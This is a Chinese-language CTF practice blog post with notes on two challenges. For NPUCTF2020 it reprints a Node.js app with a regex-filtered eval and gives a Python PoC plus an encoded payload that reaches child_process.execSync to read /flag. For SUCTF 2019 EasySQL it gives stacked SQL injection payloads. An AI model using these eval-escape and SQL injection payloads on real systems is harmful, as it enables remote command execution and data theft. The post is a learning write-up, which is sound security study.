CTF打卡~Day11

发布于 2020-04-29  925 次阅读


[NPUCTF2020]验证🐎

这题似乎是Node.js的,完全是陌生领域,全程都是被大佬wp拖着走的....惭愧

https://www.plasf.cn/2020/04/25/Node%E4%B8%93%E9%A2%98%E8%AE%AD%E7%BB%83-1/

这里就把几个比较重要的地方点以下吧,具体的原理还是看链接的好。

首先这个抽象带师出题人直接把源码放出来了,可还行

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
  return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
  name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
  keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  req.session.admin = req.session.admin || 0;
  res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

结合源码可知e对应的是算式,first和second分别对应 验证🐎1 和2

审计关键代码可知验证🐎两者要不相等(!==)且加上一个字符串以后的md5值要相等(===)。

这里应该算是JS的比较漏洞了。当一个数组加上一个字符串的时候返回的就是字符串。因此只需要将a,b的值一个设置为数组就行了。

这里其实还有一个坑,因为普通的wwwform格式似乎不能设定上传的0究竟是字符串还是数字,因此上传上去似乎都会被当成数字处理。这里就需要将content-type改成application/json然后以json的格式上传数据。

下一步就是绕过这个saferEval()的正则了

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
}

感觉我的正则表达式好菜...

看了下大佬的博客,这个正则说明只能嵌套Math而且Math只能用一个点,也就是只能用一层属性。

Math.constructor.constructor相当于创建一个function 我们可以利用这个来获取我们想要的文件。

在Node中,执行系统命令的代码是process.mainModule.require('child_process').execSync() 我们就用这个函数来cat /flag

至于打包成math的操作就实在超出我的理解范围了QAQ毕竟对Node一窍不通QAQ,这里就先留着了,等到后面方便取用代码了。

POC

import re
encode = lambda code: list(map(ord,code))
#decode = lambda code: "".join(map(chr,code))
a=f"""
(m0=>(
        m0=m0.constructor,
        m0.x=m0.constructor(
            m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")})
        )()
    ))(Math+1)
"""
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")
print(a)

最终构造出来是这样的

(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)

后面还是得好好学习以下Node和正则表达式。

[SUCTF 2019]EasySQL

这题就NMD离谱

这个框内过滤了一堆的关键字符,例如order,union,where等等等都不行

但是发现似乎可以堆叠注入,例如1,database(),11;select database();select 1 可以得到回显

但是这个输入框有长度限制,似乎不能用set语法的这种方式来执行命令,会报错Too Long

后面去看了wp就发现这题真的就是离谱

这题的后台构造据泄露是

select $_POST[query] || flag from flag

然后就需要用一个 set sql_mode=pipes_as_concat 将||符号转变成拼接就行了...

这个是预期的payload: 1;set sql_mode=pipes_as_concat;select 1

实际上,如果知道这个逻辑,还有一个很离谱的解(应该是一个非预期解)是*,1

这样拼凑出来的语句是(这里的||还是或的意思)

select *,1 || flag from flag

然后flag还是能爆出来

我玛卡巴卡还能说什么_我玛_卡巴_什么表情